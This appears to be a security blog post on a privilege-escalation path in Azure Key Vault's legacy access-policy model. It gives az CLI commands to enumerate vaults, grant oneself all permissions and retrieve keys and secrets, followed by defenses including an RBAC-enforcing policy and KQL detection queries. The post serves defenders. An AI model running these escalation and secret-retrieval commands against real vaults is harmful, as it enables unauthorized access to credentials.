5 min read
Exploiting Azure Key Vault
About Azure Key Vault
Azure Key Vault is a cloud based service providing the capaility to store and manage keys, secrets, and certificates. Key Vault stores these sensitive items and provides access control to both administrators and applications over API calls, ensuring sensitive information remains protected.
Access Control
Azure Key Vault supports two access control methods for the data plane: Azure role-based access control and Vault access policy.
Azure role-based access control (Azure RBAC)
Azure RBAC provides fine-grained access management through Azure Resource Manager and is the recommended access control system for Azure Key Vault. It allows:
- Centralized permission management across all key vaults.
- Separate permissions for individual keys, secrets, and certificates.
- Several built-in roles for managing data in Azure Key Vault.
Built-in roles for Key Vault
Role | Description | ID |
---|---|---|
Key Vault Administrator | Perform all data plane operations on a key vault and all objects in it, including certificates, keys, and secrets. Cannot manage key vault resources or role assignments. Only works for key vaults that use the ‘Azure role-based access control’ permission model. | 00482a5a-887f-4fb3-b363-3b7fe8e74483 |
Key Vault Reader | Read metadata of key vaults and its certificates, keys, and secrets. Cannot read sensitive values such as secret contents or key material. Only works for key vaults that use the ‘Azure role-based access control’ permission model. | 21090545-7ca7-4776-b22c-e363652d74d2 |
Key Vault Purge Operator | Allows permanent deletion of soft-deleted vaults. | a68e7c17-0ab2-4c09-9a58-125dae29748c |
Key Vault Certificates Officer | Perform any action on the certificates of a key vault, excluding reading the secret and key portions, and managing permissions. Only works for key vaults that use the ‘Azure role-based access control’ permission model. | a4417e6f-fecd-4de8-b567-7b0420556985 |
Key Vault Certificate User | Read entire certificate contents including secret and key portion. Only works for key vaults that use the ‘Azure role-based access control’ permission model. | db79e9a7-68ee-4b58-9aeb-b90e7c24fcba |
Key Vault Crypto Officer | Perform any action on the keys of a key vault, except manage permissions. Only works for key vaults that use the ‘Azure role-based access control’ permission model. | 14b46e9e-c2b7-41b4-b07b-48a6ebf60603 |
Key Vault Crypto Service Encryption User | Read metadata of keys and perform wrap/unwrap operations. Only works for key vaults that use the ‘Azure role-based access control’ permission model. | e147488a-f6f5-4113-8e2d-b22465e65bf6 |
Key Vault Crypto User | Perform cryptographic operations using keys. Only works for key vaults that use the ‘Azure role-based access control’ permission model. | 12338af0-0e69-4776-bea7-57ae8d297424 |
Key Vault Crypto Service Release User | Release keys for Azure Confidential Computing and equivalent environments. Only works for key vaults that use the ‘Azure role-based access control’ permission model. | |
Key Vault Secrets Officer | Perform any action on the secrets of a key vault, except manage permissions. Only works for key vaults that use the ‘Azure role-based access control’ permission model. | b86a8fe4-44ce-4948-aee5-eccb2c155cd7 |
Key Vault Secrets User | Read secret contents including secret portion of a certificate with private key. Only works for key vaults that use the ‘Azure role-based access control’ permission model. | 4633458b-17de-408a-b874-0445c86b69e6 |
Vault Access Policy
Vault access policies are a now legacy access control method where many individual access policies determine whether a given security principal can access or perform an operation on a given vaults keys, secerts, or certificates. A vault can support 1024 access policies, and policies can be created through the portal, CLI, or PowerShell.
A vulnerability exists in the vault access policy permission model where a user with the Microsoft.KeyVault/vaults/write
permission (included in the Contributor
and Key Vault Contributor
built-in roles) can grant themselves data plane access by creating a vault access policy.
This can be a dangerous misconfiguration as an actor who has the Contributor
or Key Vault Contributor
access rights to the vault, either through direct assignment or through a higher level structure like a resource group, subscription, or management group, could enumerate all keys vaults, determine which are using this legacy access policy, and access and exfiltrate sensitive information.
This may lead to privilege escalation and persistence within the environment.
Exploitation Techniques
An actor with the Microsoft.KeyVault/vaults/write
permission on a given vault, included in Contributor
and Key Vault Contributor
, can quickly identify all exploitable Key Vaults, escalate privilege, and exfiltrate sensitive data.
The following sequence outlines this attack path:
Enumeration
List all Key Vaults the user has access to in the subscription:
az keyvault list
Check the configuration of a specific vault:
az keyvault show --name <vault>
- Look for the property:
"enableRbacAuthorization": false
. This indicates the vault uses legacy access policies.
List items in the vault:
az keyvault key list --vault-name <vault>
az keyvault secret list --vault-name <vault>
az keyvault certificate list --vault-name <vault>
Privilege Escalation
Grant all permissions to a specified vault and user, including yourself:
az keyvault set-policy \
--name <vault> \
--object-id <objectId> \
--key-permissions all \
--secret-permissions all \
--certificate-permissions all \
--storage-permissions all
Exfiltration
Retreive items from the vault:
az keyvault key show --vault-name <vault> --name <key>
az keyvault secret show --vault-name <vault> --name <secret>
Defense and Detection
To mitigate this attack path ensure that all Key Vaults in the environment are using the Azure role-based access control permission model, this separates the management plane and data plane.
Use the following KQL query from the Azure Resource Graph to determine which Key Vaults are configured using vault access policy:
arg('').resources
| where type == "microsoft.keyvault/vaults"
| extend parse_properties = parse_json(properties)
| extend enableRbacAuthorization = parse_properties.enableRbacAuthorization
| where enableRbacAuthorization == "false"
| project subscriptionId, resourceGroup, name, id, enableRbacAuthorization, location, kind, sku, tags
Use the following policy to require Azure Key Vaults to use Azure RBAC:
{
"mode": "All",
"policyRule": {
"if": {
"allOf": [
{
"field": "type",
"equals": "Microsoft.KeyVault/vaults"
},
{
"field": "Microsoft.KeyVault/vaults/enableRbacAuthorization",
"notEquals": true
}
]
},
"then": {
"effect": "deny"
}
},
"parameters": {}
}
Ensure that the principle of least privilege is followed and limit granting the following permissions to Azure Key Vaults, either directly or inherited through a higher level structure:
Microsoft.Authorization/roleAssignments/write
: Allows changing vault permission model.Microsoft.KeyVault/vaults/write
: Allows privilege escalation with vault access policy.Microsoft.KeyVault/vaults/accessPolicies/write
: Allows privilege escalation with vault access policy.
Ensure that Key Vault diagnostic logging is enabled and that the logs are being sent to a monitored log analytics workspace, ideally with Microsoft Sentinel. Monitor for suspicious events in Key Vault diagnostic logs
and AzureActivity logs
, including the following events:
- VaultPatch
- KeyList
- KeyGet
- KeyDelete
- SecretList
- SecretGet
- SecretDelete
- CertificateList
- CertificateGet
- CertificateDelete
Ensure that Azure Key Vault does not allow public access, and monitor for changes to network access control.
Below are sample queries to hunt for suspicious activity: Azure Key Vault: Large Number of Items Accessed in Short Period of Time
let exclude_caller = dynamic("9aa2267e-3135-40f9-be0d-c902b62d51af");
let VaultThreshold = 0;
let ItemThreshold = 5;
let GetOperations = dynamic(["SecretGet", "KeyGet", "CertificateGet"]);
AzureDiagnostics
| where ResourceType == "VAULTS" and OperationName in (GetOperations)
| where clientInfo_s != "PolicyScan-GF"
| where ResultType == "Success"
| extend Caller = coalesce(identity_claim_unique_name_s, identity_claim_oid_g, "UnknownCaller")
| where Caller !in (exclude_caller)
| extend item = tostring(split(id_s, "/")[4])
| summarize
DistinctVaultCount = dcount(Resource),
DistinctItemCount = dcount(item),
StartTime = min(TimeGenerated),
EndTime = max(TimeGenerated),
IPAddressSet = make_set(CallerIPAddress),
VaultsAccessed = make_set(Resource),
ItemsAccessed = make_set(item)
by Caller, bin(TimeGenerated, 1h)
| where DistinctVaultCount > VaultThreshold
| where DistinctItemCount > ItemThreshold
| project StartTime, EndTime, Caller, DistinctVaultCount, DistinctItemCount, IPAddressSet, VaultsAccessed, ItemsAccessed
Azure Key Vault: Large Number of Items Deleted in Short Period of Time
let Threshold = 5;
let DeleteOperations = dynamic(["SecretDelete", "KeyDelete", "CertificateDelete"]);
AzureDiagnostics
| where ResourceType == "VAULTS" and OperationName in (DeleteOperations)
| where ResultType == "Success"
| extend Caller = coalesce(identity_claim_unique_name_s, "UnknownCaller")
| summarize EventCount = count(), StartTime = min(TimeGenerated), EndTime = max(TimeGenerated), IPAddressSet = make_set(CallerIPAddress)
by Caller, bin(TimeGenerated, 1h)
| where EventCount > Threshold
| project StartTime, EndTime, Caller, EventCount, IPAddressSet
Azure Key Vault: Vault Access Configuration Model Modified
AzureDiagnostics
| where OperationName contains "VaultPatch"
| where properties_enableRbacAuthorization_b == "false"
| extend Caller = identity_claim_http_schemas_xmlsoap_org_ws_2005_05_identity_claims_upn_s
| project TimeGenerated, CorrelationId, Caller, CallerIPAddress, SubscriptionId, ResourceGroup, Resource, ResourceId
AzureActivity - KV: User Adds Themselves to a Vault Access Policy
AzureDiagnostics
| where ResourceType == "VAULTS"
| where OperationName == "VaultPatch"
| where ResultType == "Success"
| extend Caller_AccessAssigned = identity_claim_http_schemas_xmlsoap_org_ws_2005_05_identity_claims_name_s
| extend Caller_Id = identity_claim_http_schemas_microsoft_com_identity_claims_objectidentifier_g
| extend NewSPN = addedAccessPolicy_ObjectId_g
| where Caller_Id == NewSPN
| extend NewAccessPolicy_Key = addedAccessPolicy_Permissions_keys_s
| extend NewAccessPolicy_Secret = addedAccessPolicy_Permissions_secrets_s
| extend NewAccessPolicy_Certificate = addedAccessPolicy_Permissions_certificates_s
| extend TimeGenerated_AccessAssigned = TimeGenerated
Azure Key Vault: New IP Address Added to Key Vault Firewall
let knownIPs = dynamic(["10.10.10.10/32", "10.10.10.20/32", "10.10.10.30/32"]); // Define your set of known IPs, or use a watchlist (recommended)
AzureDiagnostics
| where OperationName == "VaultPatch"
| extend Caller = identity_claim_http_schemas_xmlsoap_org_ws_2005_05_identity_claims_upn_s
| extend NewIPAddress = addedIpRule_Value_s
| where NewIPAddress != ""
| where NewIPAddress !in (knownIPs)
| project TimeGenerated, CorrelationId, Caller, CallerIPAddress, NewIPAddress, SubscriptionId, ResourceGroup, Resource, ResourceId
Key Takeaways
- A privilege escalation path exists with the vault access policy permission model, use Azure RBAC.
- Follow least privilege principles.
- Enforce strict network access control and use private endpoints.
- Ensure diagnostic logs are enabled and are being ingesting into your SIEM.
- Monitor for unusual activity, including enumeration, privilege escalation, access anomalies, and deletion anomalies.